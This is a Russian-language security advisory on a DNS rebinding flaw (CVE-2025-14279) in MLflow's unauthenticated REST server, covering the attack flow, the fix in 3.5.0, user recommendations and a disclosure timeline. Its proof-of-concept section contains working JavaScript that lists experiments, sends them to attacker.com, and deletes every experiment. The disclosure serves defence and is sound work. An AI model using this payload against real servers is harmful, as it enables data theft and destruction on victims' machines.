Экфильтрация и уничтожение данных в MLflow из-за отсутствия проверки Origin (DNS rebinding)
Автор: Evan Harris
Риск: Высокий (CVSS 8.1, CVE-2025-14279)
Затронутый компонент: REST-сервер MLflow (mlflow/mlflow), версии вплоть до 3.4.0 включительно
Коротко
REST-сервер MLflow не проверял заголовки Origin и Host во входящих запросах, оставаясь уязвимым к DNS rebinding. У жертвы, которая запускает mlflow server локально, а затем посещает вредоносный сайт, браузер может быть превращён в прокси, достигающий интерфейса loopback в обход политики единого источника (Same-Origin Policy). Поскольку REST API не имеет аутентификации, злоумышленник получает полный доступ на чтение и запись: он может перечислять эксперименты, экфильтровать данные на внешний хост и полностью удалять эксперименты. Проблеме был присвоен идентификатор CVE-2025-14279 (CVSS 8.1, Высокий), и она была устранена в MLflow 3.5.0, где добавлены проверка заголовка Host и блокировка межисточниковых запросов. Пользователям следует обновиться до 3.5.0 или новее.
Предыстория
Сервер отслеживания MLflow предоставляет REST API (обычно по адресу http://localhost:5000), который веб-интерфейс и клиентские библиотеки используют для создания, поиска, обновления и удаления экспериментов и запусков. По умолчанию сервер работает без аутентификации, исходя из предположения, что привязка к localhost сохраняет его приватность.
Это предположение рушится при DNS rebinding. Политика единого источника браузера призвана не давать странице, обслуживаемой с attacker.com, читать ответы от localhost:5000, но rebinding обходит её, изменяя то, во что разрешается имя хоста, уже после загрузки страницы. Поскольку сервер MLflow принимал запросы без проверки их происхождения, любой посещённый жертвой сайт мог управлять локальным API.
Обзор
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Сценарий атаки
- Жертва клонирует MLflow и запускает сервер локально со стандартной конфигурацией (
mlflow server), попутно создавая некоторые эксперименты. - Злоумышленник разворачивает лабораторный стенд для DNS rebinding, например Singularity of Origin от NCC Group, и помещает приведённую ниже полезную нагрузку в каталог полезных нагрузок фреймворка.
- Жертва посещает сайт злоумышленника и остаётся на странице достаточно долго (менее минуты), чтобы произошёл rebind.
- DNS-сервер злоумышленника сначала разрешает имя хоста в свой собственный IP, чтобы полезная нагрузка загрузилась, а затем отвечает на последующие запросы адресом
127.0.0.1. Браузер повторно использует закэшированное имя, поэтому вызовыfetchсо страницы незаметно переключаются наlocalhost:5000, сохраняя исходный origin. - Поскольку сервер MLflow не выполняет проверку Origin или Host, запросы проходят успешно. Злоумышленник перечисляет эксперименты, отправляет данные на
attacker.comи удаляет эксперименты.
Демонстрация концепции
Приведённая ниже полезная нагрузка регистрируется во фреймворке DNS rebinding. Она распознаёт цель как сервер MLflow, перечисляет эксперименты через неаутентифицированный REST API, экфильтрует результаты на контролируемый злоумышленником хост, а затем удаляет каждый эксперимент. Исходная демонстрация концепции сжата здесь до её функциональных шагов.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Последствия
- Экфильтрация данных: метаданные экспериментов читаются через
experiments/searchи отправляются на контролируемый злоумышленником хост. - Уничтожение данных: эксперименты удаляются через
experiments/delete. - Манипуляция данными: тот же неаутентифицированный доступ на запись позволяет выполнять операции обновления экспериментов.
- Учётные данные не требуются: атака работает против стандартного развёртывания
mlflow serverи требует лишь, чтобы жертва посетила вредоносную страницу, пока сервер запущен.
Реакция MLflow
После того как мы раскрыли проблему через процесс координированного раскрытия MLflow, сопровождающие устранили её в pull request #17910.
Исправление вводит слой защитного промежуточного ПО (middleware) для сервера, который:
- Проверяет заголовок
Hostпо списку разрешений (по умолчанию localhost и диапазоны частных IP), чтобы блокировать DNS rebinding. - Блокирует изменяющие состояние межисточниковые запросы (POST, PUT, DELETE, PATCH) с origin, отличных от localhost.
- Добавляет защитные заголовки ответа (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Для развёртываний, которым легитимно нужен более широкий доступ, доступна новая конфигурация, включая --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) и --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Защитные меры вышли в MLflow 3.5.0, а позднее проблеме был присвоен идентификатор CVE-2025-14279 (CVSS 8.1, Высокий; CWE-346, Origin Validation Error).
Рекомендации
Для конечных пользователей
- Обновитесь до MLflow 3.5.0 или новее.
- Сохраняйте стандартные настройки
--allowed-hostsи--cors-allowed-origins, если у вас нет конкретной причины их расширять, и никогда не отключайте защитное промежуточное ПО на открытом сервере. - Не привязывайте сервер MLflow к публичной или недоверенной сети и поставьте перед ним аутентификацию или обратный прокси, если он должен быть доступен за пределами localhost.
- Считайте локально привязанный сервер достижимым из браузера: закрывайте или изолируйте локальные экземпляры MLflow при посещении недоверенных сайтов.
Хронология
| Дата | Событие |
|---|---|
| 22 сентября 2025 | Об уязвимости сообщено сопровождающим MLflow через координированное раскрытие (issue #17877) |
| 6 октября 2025 | MLflow объединяет исправление (PR #17910), выпущенное в v3.5.0 |
| 12 января 2026 | Опубликован CVE-2025-14279 (CVSS 8.1, Высокий) |
| 8 июня 2026 | Публичное раскрытие |